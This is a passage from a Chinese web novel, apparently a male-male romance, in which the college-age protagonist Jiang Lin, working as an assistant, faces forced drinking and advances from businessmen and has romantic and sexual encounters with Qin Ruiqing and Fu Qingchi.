【早点休息秦哥,晚安(比心)】 秦锐清想,他的手段的确高,若即若离,撩了一下又理智般的保持距离,故意吊着人,还说有什么喜欢的女生。 他滑动屏幕,直接将短信删除,当作没看见。 心思已经逐渐背道而驰。 第30章 那天的事情, 像是拉开了一道接近秦锐清的口子,江林明明是个无关紧要的寒假工,但被带着参加各种大小会议, 就像摆设似的放在旁边,参加、吃饭、交易等等都带着他。 秦锐清同学的身份成为一块免死金牌, 江林没法拒绝,归根究底是因为他们给得太多了。 是他原本寒假实习工资的三倍,虽然也才堪堪超过五位数。 江林的工作变成了秦锐清的助理, 给他端茶递水,忙前忙后地伺候着, 他将秦锐清的咖啡放在他桌上,微微一笑:“小秦总您的咖啡。” 这是他亲手泡的,谁让这位少爷只喝手磨的。 秦锐清目光缓缓扫过他的脸,精致的眉眼,仿佛雪山融化的柔和神情。他的视线微微一深,透过那张脸, 看见了曾经小时候送他小狗的姑娘。 那是他的邻居, 善良美丽, 他们有相同的遭遇,早死的母亲, 狼心狗肺的父亲, 两人曾经在最落魄的时候互相鼓励,相互取暖。 后来小姑娘搬走了,她拜托他照顾好小狗, 但最终小狗也难逃劫难。 在那次江林救助小猫的时候,秦锐清就觉得江林身上的气质某些方面和她很像,身上都能看见多余的悲悯光芒, 所以他才会主动停车载他。 那只治好病送人的小猫,现在也完好无损地待在他自己的住宅里,养得胖乎乎圆滚滚。 但其实秦锐清清楚地知道江林是江林,她是她,只是当江林露出乖巧讨好的神情时,还是会稍稍恍惚一瞬。 明天要去茶园参观,还需要拍摄视频,算是一个宣传片,南华县是贫困县,帮助贫困县脱贫,从外界来看,是一个非常正面光辉的企业形象。 江林假模假样地拿着一支笔和一张纸,在记录着什么,但是秦锐清抬眼一瞧,便发现他正在画画,是开会这些人的简笔画,太阳落山的余晖,变成了灰色的阴影,坐在位置上的人看不清脸,但都无一例外穿着精致笔挺的西装。 会议结束,寒暄继续。 “久闻秦总大名,今日一见果然年少有为,风度不凡,秦总能有你这样的儿子,真是后继有人啊”赵总引荐的男人李书华,据说也是南华县数一数二的人物,他瞧着年纪不小,但外表颇为儒雅,没有中年人油腻的特质。 “你好。”秦锐清轻轻和他握手。 李书华说话连珠炮似的,擅长哄得人心花怒放,一直都在捧着秦锐清,秦锐清脸上露出几分笑容,似乎和他相谈甚欢。 江林一直低着头在他旁边跟着,直到两人上车,没了其他人,江林才默默开口:“那个叫李书华的人,不是好人。” 秦锐清望向他,今天一整天江林都带着虚伪的笑容,只在现在才算是露出一点真实的厌恶情绪,他轻嗯一声,接着道:“他怎么了?” “他是个地头蛇,好像是混□□的。”江林提醒道,“他这个人也很坏,之前我们县里出了一件惨案,李书华妻子一家都葬身火海,连儿子和女儿都无一生还,据说是电器走火,但” 江林还故意停顿一瞬,“我表叔在警察局当保安,他说尸检报告其实有束缚的痕迹,也就是说可能是有人故意谋杀。李书华在娶他妻子之前,只是一个发廊里洗头的,现在变成了南华县数一数二的人物,包养了好多小三。最大获利人,就是最大嫌疑人。” “你这些怎么不和警察说?”秦锐清对于他的推论没有发表任何的看法,只是淡淡地问道。 “你以为没人说吗?根本没用啊。”江林表情无语,叹了一口气:“反正你别被他的外表骗了。” “嗯。”秦锐清应了一声,然后闭目养神,也不知道有没有听进去。 晚餐之后,秦锐清喝了不少酒,江林又被委派了任务,要送小秦总回家,秦锐清脸颊有些红,今天还帮江林挡了不少酒,不然不至于喝这么多。 “秦哥你先坐着,我给你倒杯热水。”江林把他的外套放在沙发上,起身去厨房给他倒热水,有备无患地准备了醒酒药和胃药。 秦锐清的确感觉胃在灼烧,反胃的感觉让他止不住的喉结滚动,难受得忍不住皱起眉,脑袋有些昏沉,耳边传来一道温和的男生,“秦哥?秦哥?先喝点药再睡。” “我今天看你也没吃啥东西,就是空腹喝酒,能好受才怪。”江林端着温水递到他面前。 秦锐清睁开眼,黑眸静静看着他,相比其他人喝醉酒之后通红失控的双眼,他越发冷静,静静看着他,接过水杯。 江林摊开手,手心有几颗药丸,“醒酒的。” “我不知道胃药和醒酒药能不能混合吃,你先吃这个吧。如果身体实在难受的话,你就动用你的钞能力请医生过来。” 若是其他人这么一直在耳边吵,他大概会觉得烦死,但是江林还好,嗓音温和,像是春风而过,不会让人觉得喧闹,他接过他手心的药丸,吞下后。 江林突然开口:“你不怕我喂你的是毒药吗?” 秦锐清动作稍稍一顿,这才反应过来,他的确不应该随便吃别人给的东西,他的警戒心,也喝酒喝没了? “放心,我是遵纪守法的好公民。”江林笑了一下,催促道:“把水喝完。” 这次秦锐清没听他的,他一肚子酒水,再喝就要吐了。 “小戴,把合同拿过来。”秦锐清说的小戴,也就是他的正牌助理,刚刚也一直跟在两人身边当个透明人。 江林不知道什么合同,直到他看见封面上的几个大字《MNX包养协议》。 江林:“” 不是,昨晚之前他和秦锐清还是两个不熟的普通同学吧? “?”江林不得不重新重申自己的立场:“秦哥,我真不喜欢男人。” “不喜欢男人,但是可以和李炎诞上床。”秦锐清靠在沙发上,眼底没有多余的感情,像是在公事公办。 他是一个不会多话的行动派,想要将所有人的事情都控制在他的计划之内,所以想用包养协议让江林处于一个可控的范围内。 “那只是一场意外。”江林蹙眉。 秦锐清勾起冰冷的笑:“那就多意外几次。” 江林每次和他们聊天,都有一种对牛弹琴的无力感,眉眼间生出一丝烦躁。 “你确定不看看里面的金额吗?”秦锐清似乎断定了他拒绝不了金钱的巨额诱惑。 “我们不说这个协议到底有没有法律意义,能不能生效,但我目前还能活得起,不需要出卖自己的身体,赚这些脏钱。”江林没有打开,将协议放在桌子上,气冲冲站起身来,硬邦邦道:“我先走了,秦总,你如果想找泻火的人,你可以给赵总打电话,相信他一定安排好人伺候得你舒舒服服。” 江林走了,没人拦着他。 秦锐清视线短暂地停留在包养协议上,他不认为江林签了这份协议,对他有任何的坏处。 但很明显,他这份好意被人拒绝了 江林虽然硬气拒绝了秦锐清画的大饼,可是工作还得继续,先是按部就班地参观了茶园,旁边有一个私人马场,这些老板们又去马场骑马,江林站得腿都酸了,找了个角落坐下。 他戴着一个太阳帽,脸被晒得红扑扑的,虽然他会骑马,但是当被邀请的时候,他还是以自己不会为理由拒绝了。 “小孟,你过来。”江林歇着没两分钟,又被叫了过去。 “你给秦总牵牵马,绕着马场走两圈。” 江林犹豫:“我不会牵马。” “没事,这匹马很温顺的,你拽着它的绳子就好。”他们似乎打定了主意要将他往秦锐清身边推,根本不管他的死活。 秦锐清穿着马术装,看着前面满脸哀怨的小萝卜头,虽然这个速度慢得让人不适,但他并没有催促。 两人没有任何交谈,转了两圈,全身都是汗。 秦锐清在江林中暑之际叫停了。 “这一身汗,换衣间里面有浴室,去洗洗澡,降降暑。”马场的管理人好声好气地说道。 小戴提着秦总的换洗衣服,跟了过去,江林是被半推着进去的,然后门一关,十几人的淋浴区仅仅用一个个塑料门隔开,打扫得很干净。秦锐清根本没管身边的江林,脱掉衣服开水淋浴。 江林见状也不想像gay似的扭扭捏捏,找了一个最里面的隔间冲澡,水声不绝于耳,他洗着温水澡,忍不住叹了一口气,里面有冷气,终于没那么热了,一个澡洗完,还感觉有点儿冷。 他听着声,水声停下很久,他还以为秦锐清已经走了,便直接走了出来,结果便看见正在系扣子的男人朝着他看过来。 江林没有什么过激的反应,极为坦荡,展示着自己的身体,越是躲就显得越扭捏有鬼,他只是简单地拿毛巾擦了擦头发。 秦锐清眼前闪过晃眼的白,少年的身体纤瘦,但不柴,锁骨分明,肌肤浮动着水珠,摇晃着白莹莹的艳色。那双腿笔直修长,腹部薄薄的肌肉,手臂的肌肉线条也极为流畅漂亮,浑身像是粉雕玉琢的般。 他的视线在江林双腿流转了几瞬,这双腿若是被把玩,该是一件非常好的艺术品。 他一直都知道自己的身体有些问题,越是清醒克制,但失控的时候,当欲望倾泻而出,就显得极为可怕和汹涌,他鲜少有失控的时候,他对自己的欲望的把控一向有信心。 但今天却生出几分令人心惊的掠夺欲望。 秦锐清能清醒地感觉自己欲望的升腾,正在蠢蠢欲动。那是试图霸占美丽事物的野望,手心在发烫,想要按在江林脖子上,让他低下头,成为自己的附庸。 江林像是没有察觉到他的变化,背对着他穿衣服,露出漂亮的臀部和背部线条,秦锐清视线一沉,喉结滚动了一瞬,但是很快,什么情绪都瞧不见了。 江林穿好衣服,才开口问道:“在等我吗?” 秦锐清不置可否,没有回答,转身出了淋浴室。 在外面等候的众人,都以为秦锐清会直接将江林就地正法,但没想到两人这么快就出来了,到底是哪里出了问题。 各怀鬼胎的人坐车准备回去吃晚餐 今夜,江林有些格外地难挨,昨天被秦锐清挡住的酒,又尽数还了回来,这次没有人再顾及秦锐清的面子。 毕竟他身边的小戴已经发出了另外的指令。 “昨天让小孟给逃了,今天可不行,一定要不醉不归啊。” “是啊,是啊,男人嘛,以后喝酒可少不了,小孟趁着我们这些叔叔伯伯都在正好都练练”打着为他好的旗号,往他嘴里送来一杯一杯烈酒。 今天秦锐清没人敢灌他,他坐在旁边静静看着他。 肤白清俊的少年落在这群中年大叔中间,简直像是羊入虎口。暗色灯光下,阴影散落,一张张狰狞的面孔,被欲望侵染成为了怪物的形状。 而被围剿的少年,一杯杯酒杵在他面前,他泛红的脸颊,被逼无奈的委屈神情,唇角淌下的酒,沁湿了衣襟,锁骨上都泛着盈盈的水光,带入了某些被逼良为倌的小少爷。 未经市侩的纯白,谁都想在这张白纸上挥洒笔墨。 甚至有人的手,控制不住地捏起他的下颌,将酒强行灌进去。 强制的、破碎的、令人血液沸腾的欲念在叫嚣 原本也许只是想要讨好秦锐清,遵照他的嘱咐,给江林灌酒,但是男人的欲望是磅礴的,不断壮大的,毫无底线的,到了某个界限就会冲破防线,勾勒出恶魔。 有了第一个,就有第二个,江林口中的酒还没咽下,便又被灌上一杯,酒水呛到了他的鼻腔。他轻咳起来,推拒着他们的手,双眼通红含泪,眼角泪光闪烁着,有人的手压上了他的肩膀,顺肩膀似乎想要摸他的胸 手被人抓住,像是被蛛网束缚住的蝴蝶,翅膀无法舒展,只能被人放肆地抚摸、亵玩、舔舐 但很快江林身边的人都被驱赶了,他的翅膀没有被人把玩,他落入了一个温热的怀抱,腰让人轻轻环住,他趴在秦锐清的肩膀上,眯了眯眼,醉眼蒙眬。 秦锐清抱着他坐下,众人意犹未尽,但是根本不敢和他抢人,只能看着那只漂亮的蝴蝶被人独占,他们讪讪一笑,只能去找身边的人泄气。 怀里的人很乖,像是找到了安全的庇护所,因为不需要再喝酒。他还在咕哝着,“不喝了,真的喝不了了,肚子要撑烂了” 江林坐在他腿上,抱着他的脖子,脸埋在他颈侧,试图将自己的脸藏起来,那些人就灌不了他的酒了。 秦锐清脸色冷峻,气场强大,直接将那些人的某些心思吓跑了,他手顺着他的背拍了拍,闻到了江林身上的酒味。江林嘀咕的时候,柔软的嘴唇时不时擦过他的脸颊,说话含糊带着些汤汤水水的感觉全部散在他耳畔,更娇嗔撒娇似的。 他把江林藏起来的脸挖出来,借助灯光看清楚他的表情,嘴唇红艳艳的,牙齿整齐雪白,狗狗眼可怜地眯着看他,视线有些不聚焦,吐息炙热,双颊通红,像个误入歧途而不自知的小白花。 “不喝,不喝了,好不好”江林两瓣嘴唇一碰,又吐出这句话。 又在撒娇。 秦锐清一向不会委屈自己,他抬起江林的下巴,亲了上去,一股沁甜的酒味儿,嘴唇很软,轻轻吮着。江林还会抱着他的脖子,无意识地吮着他的嘴唇作为回应,似乎只要不让他继续喝酒,他什么都可以做。 江林湿润的睫毛抬起,乖乖的张了嘴,让男人的舌头进来,舌头也舔着他的,两人亲的有些忘乎所以,原本秦锐清只是打算浅尝辄止的。 起初那些人是不敢看的,纷纷回避着视线,因为秦锐清的眼神充满了警告,直到他的目光里只有怀里乖乖和他接吻的少年后,那些虎视眈眈的目光才明晃晃起来,如同锋利的尖刀割裂着江林的影子。 少年下颌线微微紧绷,他迷迷糊糊的模样,像个乖孩子似的,回应着他,嘴唇不停地吮着柔软的舌尖,乖得想让人偷走。 秦锐清按着他的后颈,手劲有些大,渴求似的吃着他的唇舌。 最终,秦锐清还是被那些视线打搅了,克制地松开手,偏头结束这个吻,江林甚至还循着他的嘴唇追吻过来,在他嘴角亲了亲,秦锐清无奈又和他亲了亲,才重新扫过那些眼神。 那些讨厌的视线就暂时消失了。 “走吧,跟我回家。”秦锐清不准备多待,揽着江林离开。 等他们走后,气氛陷入了一刹那的沉闷。 “操,第一次知道我们这小县城里还有这么好的货?” “让那小子捷足先登!” “没事儿,等他走了,还不是随便我们怎么玩嘛?” “并且雏儿,也没什么好玩的”酸不溜秋的话响起,想要掩盖他们的无能 都说好事多磨,秦锐清也没想到,会在这里碰见傅清池。 街道里只有零星几个人,几辆豪车并排停着,傅清池是从对面的酒色场所出来的,他上前两步,主动靠近,秦锐清站定,准备让小戴先将江林扶上车,自己和傅清池周旋。 但是傅清池却直接挡住了小戴的去路,伸手要去接过江林,秦锐清眼疾手快,一个箭步抓住江林另外的肩膀,将人拽回自己怀里。 “你干什么?”秦锐清冷声斥问。 傅清池也握着江林温热的手掌没有松开,语气低沉:“我倒是要问问你想干什么?强/奸可是犯法的。” 秦锐清眼底闪过轻蔑,脑海中飞速运转,想到了什么:“你和他是什么关系?” 江林被这番动静惊醒,睁眼看着傅清池,率先抢答:“小叔叔” “他是我叔叔。” 傅清池: 虽然他年少老成,气质沉稳,的确比江林大了五六岁,但叔叔应该称不上吧? 秦锐清眉头蹙起,抬手抓着江林的下颌,让他看清楚:“孟南星,你是喝酒喝傻了吗?傅清池是你叔叔?你也真敢喊啊。” 江林被捏疼了脸,挣扎起来,扯了扯傅清池的手:“叔叔救我。” 傅清池:“” 大晚上两男争一男的画面,实属罕见。 “把人给我吧。”傅清池抓着江林的手没有用力,但身后黑压压的保镖却围了上来,眼神无声地强势。 “你敢?”秦锐清也分毫不让,紧紧抱住江林,胸腔情绪第一次起伏这般强烈,他没带多少人,楼上那些废物也指望不上,所以他虽然面上冷悍,但实则外强中干。 “我不想欺负小孩儿。”傅清池对峙过程中,自始至终都没什么情绪变化,脸上的疤痕也在平静的表情下显得极为冷沉,淡淡地说道。 秦锐清咬了咬牙,他不想将醉得神志不清的江林交到任何男人手上,傅清池这个脑残,会不会也只是想要趁人之危,然后将人吃干抹净? “我们谈一谈,我可以”秦锐清不想放弃,意图以利益诱之。 但是傅清池却不准备和他多说,微微抬了抬下巴,秦锐清和江林便被强行分开。江林被傅清池抱住,秦锐清没有过多地反抗,实力悬殊挣扎反抗都是无用功,黑夜中站得笔直,眼神冰冷,直勾勾地盯着两人离开的背影。 落在他怀里的蝴蝶飘走了,只剩下落叶簌簌落下。 第一次对傅清池这个人生出了这么大的敌意。 江林原本晕乎乎的样子,在坐上傅清池车座的时候,便弯唇盈盈笑起来,双眼虽然依旧水润润的,但十分醉意只剩下两分。 “叫我叔叔,你也是敢叫。”傅清池坐在他旁边,轻声道。 “不叫叔叔,应该叫恩人,救命恩人。”江林撑着下巴,盯着那张仿佛泰山般处事不惊的脸,稍稍舔了舔唇。 “我要是不来呢。”傅清池语气平淡。 “那我就和秦锐清睡呗。”江林无伤大雅地说道。 傅清池便问,“那还算是我坏了你的好事儿?” 江林撑着手臂,身体那点被挑起来又被酒精点燃的火苗,压在胸口出不去也挥不散,他伸手握住傅清池的手腕,温热的触感落在他肌肤上,傅清池垂眼看他一眼,黑眸意味不明,却没有甩开他。 阴影下的江林,笑得放肆邪魅,完美地利用着自己美丽的皮囊,露出一个极致邪气的笑容,眉目惊人地漂亮,他抓起傅清池的手,在他手背上落下一吻:“所以学长要怎么补偿我?” 傅清池不想承认自己被小孩儿吸引视线的事实,但不得不承认。 人是视觉动物,美貌一直都是一个为人说道的优点。 等他反应过来的时候,泛着酒气的少年就已经坐在他腿上了。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 30-40 第31章 车内空间宽敞, 就算两个男人抱坐在一起也不显得逼仄拥挤,正在加速行驶的车,如同在地面上般平稳。 隔板在江林坐上傅清池腿上的瞬间默默升了起来。 两人不算熟悉, 仅仅两面之缘,今天第三面, 这样近的距离确实过于暧昧了些。 江林察觉到傅清池浑身僵直,似乎不喜欢和一个男人靠得这么近,在下意识的抗拒着, 肌肉紧绷。他主动凑到他跟前,双眼弯弯地笑, 眼神仿佛带着钩子似的。 鱼饵在眼前不断地晃荡着,诱惑着大鱼咬钩,少年呼吸清浅,汪汪秋水般含情的眼睛,与之前见到的青春清纯反差极大,仿佛混迹情场的老手, 似笑非笑的眼神馋人得很。 “学长”江林的声线清朗, 但因为喝了酒, 便有些低哑,他捧着傅清池的脸, 眉梢缓缓一蹙, 似万般心疼,手指拂过他脸上的伤,“这里是怎么受伤的?” 傅清池脊背笔直, 表情依旧沉稳冷淡,垂在两侧的手默默收紧,捏成了拳头, 柔软的指腹轻轻划过他陈年的伤疤,带着抚慰的意味,他眼瞳微缩,呼吸倏然变得沉重起来——因为江林吻上了他的旧疤。 “受伤的时候一定很疼吧。”江林手指压在他颈侧,感受着他动脉的跳动,凑近了吻他的疤,带着怜惜的意味,吻落下,一点点的湿意落在脸颊。 受伤的时候流了很多血,确实疼,但是更令人难受的是留下疤痕之后,经年累月的目光更像是灾难,有人幸灾乐祸,有人眼含怜悯,有人假意关心 “学长这么好的人,伤害你的人一定会付出代价的。”江林嗓音很低,在耳畔的低语,带着情人的温柔。 傅清池从来不知道,自己的那道疤居然会成为自己一个敏感的地带,被人亲吻着,连带着血液在发烫,心尖在轻颤,像是吻在心头,让人想要留住他的吻,攥住他的人。 “孟”傅清池克制地吸气,转而抓住江林的手腕,想要将人推开,但是下一瞬,江林顺着他的脸颊啄吻,吻住了他的唇瓣,堵住了他拒绝的话。 那原本推拒的手也成为失控地攥紧,一切都在这一刻失控。少年的吻很主动,但又若即若离,一时热情地想要将他的魂给吸走,一时又只是敷衍地砸吧着他的唇。 就算神仙也难以把持住这样的诱惑吧。 傅清池的手按住他的后颈,想要将人用力压向自己深吻,江林却偏头避开了,他落在他耳畔,低低地坏笑一声,道:“学长,我刚刚和秦锐清亲过,他咬过我的舌头” “所以现在学长在和秦锐清间接接吻吗?” “”傅清池处事不惊表情出现一丝裂痕,星火被点燃,他捏了捏江林的脖子,语气有些发沉:“你一定要在这种时候说这么扫兴的话吗?” “好吧,那对不起咯。”江林毫无心理障碍地道歉,但语气可没有半点认错的意思,紧贴着在他颈侧亲了几下,他反手抓住傅清池的手腕,带着他从自己后颈抚摸到脖颈、喉结、锁骨 缓缓下降,他重新抬眼,望着傅清池没什么表情的脸,在他唇角亲了亲,可怜地弯了弯眼睛,露出一个委屈的表情:“我今天被灌很多酒,他们都想让我喝醉我很不舒服,学长你能帮帮我吗?” 傅清池心脏剧烈跳动了一瞬,睨着这个毫无任何羞耻心的少年,应该狠狠拒绝他无礼的请求,让人直接将他扔出车,但他没有动作和拒绝,只是随了他的意。 江林唇角泛起笑意,委屈的表情也转瞬即逝,松开抓着傅清池手腕的手,双手环住男人的脖子,舒展着身躯,扬了扬下巴,将自己姣好的面容对着他,轻声问:“还要接吻吗?” 傅清池没说话,凑上前吻住了那张惯会骗人的嘴。他心里清楚那些假意温柔,一句也不能当真的。 “呼”江林溢出一声叹息,傅清池吻技很好,比其他三个好多了,更像是在为他服务,讨好着他。 “学长,以前经常和别人接吻吗?好舒服啊。”江林眼尾泛红,看向傅清池的视线暧昧地拉丝,身体也在轻颤着,感叹着:“年纪大,还是有年纪大的好处喔。” “别得了便宜还卖乖了,小朋友。”傅清池虽然面上依旧平静,可是泛红微肿的薄唇还泛着水亮的光泽,欲盖弥彰的假正经,看得人觉得像发笑。 喊小朋友,也只是因为江林刚刚故意打趣喊他叔叔,所以才顺势这么讲。 江林也如了他的意,醉眼露出一抹清纯可怜的模样,在傅清池眉心落下一吻,然后自顾自地靠在他肩膀上,不愿意再多动弹,今天已经够累了,鼓励地说道:“小叔叔,我相信你一定是世界上最厉害的男人。” 傅清池听见耳畔越来越急促和沉重的呼吸声,他的脸越来越臭,最终伴随着一声轻哼,江林重重咬了一口他的耳垂,时间静了一瞬,他才松开咬紧的牙关。 江林坐起身来,从旁边抽了几张纸巾,给他擦了擦手指,脸上出现餍足之色,像是被浇灌了肥料的玫瑰花,眉眼间的轻松愉悦,带着动人的神光。 傅清池的手指很长,骨节分明,并不宽大,细细长长的,生得白皙,江林用湿纸巾一根一根仔细地擦拭着他的手指,垂着眼,表情认真,嘴里不自觉地哼出一首不成调的小曲。 他被江林这般模样气笑了,握住他的手指,低声问:“今晚去我哪儿?” 话里的暗示再明显不过了。 江林却甩开他的手,翻身回到自己的位置上,整理擦拭了一下自己的衣摆,露出一个苦恼的表情,“恐怕不行,我还小,家里有门禁。” 傅清池:“” 刚刚被一个吻就收买的傅清池突然觉得自己刚刚表现得是不是太过于廉价和主动了,完完全全就是被人利用了,还在帮着人数钱。 江林靠在座椅上,歪头看着他,又成了那个仿佛不谙世事的少年,他礼貌客气地说道:“学长,可以让司机送我回去了吗?我出来这么久,我妈该担心了。” 傅清池没有强人所难的癖好,况且江林年纪还比自己小这么多,有时候更像是一个小孩似的,情绪化,想一出是一出,根本无法意识到刚刚的行为有多危险。 他降下隔板,“送他回去。” “好的,傅总。”司机非常有职业素养地目视前方,没有一点余光是瞟向后面的。 江林自己享受完,便有些昏昏欲睡了,但还是强行让自己保持清醒,他也根本不相信傅清池。 男人都是一个德性。 有时候脑子是不思考的,靠的是底下的二两肉。 没有两分钟,车便停在江林家小区楼下,江林揉了揉酸胀的眼皮,朝着傅清池摆摆手,“谢谢你今天的款待,下次我们再继续玩儿。” 这话一出,傅清池甚至想将这人给抓上来,真的口无遮拦,故意勾人。 等人下车,黑车隐秘入黑夜,不见了踪影,傅清池似乎还能闻到江林身上的味道,突然觉得有些安静,冷静下来,他如同每个情绪上头一夜情后闯祸男生一样,开始反思自己的行为。 他没谈过恋爱,但从未想过有一天自己的暧昧对象会是一个刚刚成年的男生,甚至两人才见第三面,这种事情若是他说给任何一个好友听,怕是都会说他是不是在做梦,说的梦话。 总之,就是不太清醒 江林回家,父母的确在等他,小妹也睡在沙发上,见他满身酒气地回来,连忙凑过来观察他的身体情况,见他意识还算清醒,心才放下。但是看见那明显红肿起来的唇瓣,心又提了起来,像是坐了过山车似的。 “星星,你怎么喝酒了?难受不难受啊。”桃星雪伸手摸了摸滚烫的脸,担忧地问道:“这是喝了多少啊,脸都红成这样了。” 江林握住他的手,摇摇头,安抚地笑了笑:“没事的,妈,你先把小妹抱回房间睡吧,我去上个厕所。” 孟兆却开口叫住他:“星星,如果有什么困难,咱们就不去上班了,好好在家休息。” 江林只能花一些时间,给生怕他吃亏的父母解释和保证自己真的没事儿,才将二老劝回去睡觉。 他手机上只有赵云月给他发来的消息,刚刚放假那几天,江林还会收到李炎诞的消息,但后来他回复的很慢,有时候还会隔几天才装做没瞧见,他就不给他发消息了。 他今天真的喝了不少酒,也有几分醉意,不然也不会哄着傅清池跟他做那档子事儿,毕竟他平时的欲望并不高。 秦锐清给他打了个电话,但当时他在车上正快活,根本没听见,现在也不准备回。 系统又支支吾吾地开口:“宿主,傅清池是即将衰败的气运之子,你和待在一起可能会给你带来霉运。” “没事。”江林淋着澡,冲洗着身上的味道,不在乎地说道:“反正已经够倒霉了。” “他不算主角,所以崩人设也无所谓吧。”不然这个系统早就会在他脑海里疯狂响起警报了。 “严格意义上是这样的。”系统严谨地说道:“但是不支持宿主这么做。” 反正人设这种东西,能解释的空间很大。 江林没管,自顾自地洗完澡,秒入睡。 系统见他开心,根本不敢说,衰败的气运之子,也曾是主神的切片,只是这个切片率先发展出了自己的意识和精神,脱离了主神的控制,所以才会被取代。 见宿主心情不错,根本不敢开口说这件事 第二天艳阳高照,晴空万里,路边梧桐树撒下一片片阴影,树影晃动。 江林依旧要照常上班,需要继续当秦锐清的马仔和小弟,忙前忙后地伺候人,但这次江林明显发现某些人态度的变化。 那些人看他的眼神,透露着一种令人恶心的粘腻感觉,目光附着在他肌肤上像是令人作呕的黏液。 面对崔嘉树他们三个的时候都没有这么恶心,因为他们不会将自己的欲望大庭广众之下赤/裸裸地表现出来,那种几乎要扒开他衣服的眼神,让他感觉是不是自己下一秒就要被人拉去厕所弄死。 这让江林觉得棘手,很想问苍天,这个世界上同性恋这么多吗? 只有待在秦锐清身边的时候,那一道道如影随形的目光才渐渐收敛消失。 江林仿佛不记得昨天的事,依旧毕恭毕敬地叫他秦哥,给他磨好咖啡,但这次秦锐清却碰都没碰一下,看向他的眼神也很冷。 似乎对于江林选择傅清池的行为耿耿于怀,尽管昨晚他根本毫无选择的权力。 秦锐清对江林的态度,让昨晚生出心思来的某些人更像是看见了希望,开始盘算着该怎么做。 李书华也是其中一个,他是个双,平时还是比较喜欢女人的。可是昨晚他发现这个男孩儿也能轻而易举地勾起他的欲念,便有些心痒。 现在发觉秦锐清不待见江林了,更是觉得天赐良机。 “秦总,听秘书说你明天就要回去了?怎么不多留两天呢,还有很多地方您都没机会去看看呢。”李书华表情遗憾不舍,两人才认识几天,仿佛多年密友般的亲密。 秦锐清神情冷峻,连基本的寒暄都不想继续了,只是点了点头,低声道:“金海事忙。” 李书华脸上的笑容没有半分变化,但是在秦锐清看不见的地方表情阴冷,轻啐了一口,心中大骂,不过是投胎投得好而已。 江林依旧跟在他身边,他们在茶室等待着送检报告,有些无聊便撺起了牌局,旁边的现金摞得很高。 请来了茶室有经验的小姑娘充当荷官,江林站在秦锐清身后充当保安,站着站着都要睡过去了,昨晚睡眠的时间严重不足。 小戴用手臂轻轻碰了一下他。 江林惊了一瞬,睁大眼睛看着他,小声问:“怎么了?” “”小戴身为秦锐清肚子里的蛔虫,对于昨晚的事情也看在眼里,自然知道自家主子现在非常地不高兴,所以准备提醒少年几句。 “昨晚你被其他人带走,秦总很生气。” “啊?昨天不是你们送我回去的吗?”江林露出有点惊讶的表情,蹙了蹙眉:“我昨晚喝得太多,都不记得发生了什么” 小戴:“” 不是,大哥,你别搞我啊。 昨晚亲都亲了,还能不记得的啊? “你问秦总吧,我不方便多说,总之你和他道个歉。”小戴声音越发轻了。 “哦,好吧。”江林有些无奈地妥协。 牌局结束,他们正在清点金额,秦锐清起身去洗手间,江林顺势跟了上去。 他必须要让秦锐清惹出来的事情,自己解决好,否则以他们家小门小户的资本可抵挡不住任何人的觊觎。 秦锐清知道江林跟在他身后,但并没有跟着他进洗手间,等他出来之后,就看见少年正在低头踩着影子,有些无聊地抠着手指,见他出来,连忙笔直地站好。 他冷淡地看一眼,弯腰洗手,镜子中的光照笼罩在两人身上。 江林揪着手指,小声道歉:“对不起秦总,我昨晚喝醉了,冒犯到你了” 秦锐清挤了点洗手液,搓洗得很慢,没说话。 见他一直不表态,江林只能硬着头皮,继续软声道歉:“如果你真的很生气,你就骂骂我,我保证不还嘴,您有气就出,可千万别在心里憋坏了” “你和傅清池是什么关系?”秦锐清听他一直都说不到痛点上,纡尊降贵地提醒。 “啊?没关系啊。”江林微微睁大双眼,然后仔细地解释:“上次他来我们村了解一些拆迁的情况,就见了一面,就没有然后了昨天是他送我回去的吗?我一睡醒就在家,真的什么都不记得了” 江林双手合十,作出小猫拜托的姿势:“虽然忘记我怎么得罪您了,但是您生气了,就是我做得不好,您大人有大量就原谅我好不好呢?” 秦锐清从他的话中摘取出两人什么也没发生的讯息之后,他心中气消了大半,只剩下对傅清池的敌意。 他盯着作出可怜兮兮,愁眉苦脸讨饶表情的江林,低哼一声:“没事儿。” 他表情的缓和,让江林长长舒了一口气,小声道:“今天秦哥一直冷着脸,我都不敢说话了。” 只敢睡觉。 秦锐清见他卖惨,没有觉得半点谄媚,只觉得可爱,小表情笑盈盈地看着他,仿佛看见了花苞绽放。 “行了,走吧。”秦锐清打断他的施法。 江林瞬间收回自己皱巴巴的表情,眯着眼笑了笑。 上午签订好合同,午餐期间,江林碰巧坐在李书华身边。 李书华虽然在南华县是地头蛇,但这群人慕名而来的人中还真排不上名号,秦锐清愿意和他说话,都算是谦逊了。 所以江林和他坐在一起,不算什么稀奇事儿。 李书华倒是没什么不满,反而和江林相谈甚欢,眯着眼问他家在哪里,家中有哪些人,现在都在做什么工作,以及需不需要帮忙什么。 江林也是乖乖的,毫无戒备心地将这些事情细细告诉了他。 “唉,那你和秦总在大学的时候关系很好吗?”李书华笑起来,眼角的褶子像是扇子似的,左边下巴还有一颗黑痣,穿着一件白色衬衣装得像个人似的。 江林露出一点心虚的神色,叹了一口气:“李叔,我和秦总大学的时候都没有见过几面,还不小心得罪过他朋友,所以他主动和我说话,我还蛮惊讶的” 李书华蠢蠢欲动的心又烧了一把,安慰道:“别担心,我看秦总也不是那种不明事理的人,而且他明天就要走了” 江林发现李书华的手搭在他肩膀上,轻轻捏了捏,他似乎看不懂李书华眼神中的欲望和暗示,露出一个乖巧的笑容,接借着他的力气,顺势靠在他肩膀上,动作亲密无间。 “秦总,今晚一定好好为你饯行,合作能这么顺利,还得秦总财大气粗啊” 秦锐清耳边的人说了些什么,他根本不太清楚,视线往江林身上一落,发现两人在角落里,一副叔侄和谐场面,只是真男人一看,就能发现李书华眼底的意思。 他没有立刻阻止,打定主意想要给江林警告,让他以后不敢和这些老狐狸再靠得这么近。 原本李书华没想今晚动手的,毕竟秦锐清还在,避免一些节外生枝。但是江林这小朋友太诱人了些,主动给他倒酒,柔声喊着他李叔,手也给他摸,腿也让他碰的,李书华有些心猿意马,把持不住了。 都说酒壮怂人胆,且江林还这么主动,甚至半点没有表现出反抗的意思,他瞬间就感觉忍不了一点了。 “今晚秦总身边那么多人,只怕是没有你的容身之地了,李叔带你回去玩儿怎么样?”李书华握着江林的手,轻轻拍了拍他的手背。 江林强忍着恶心,脸颊有些红,露出洁白的齿列,眼神晕乎乎地说道:“我还是不去了吧,我爸妈还在家等我呢。” 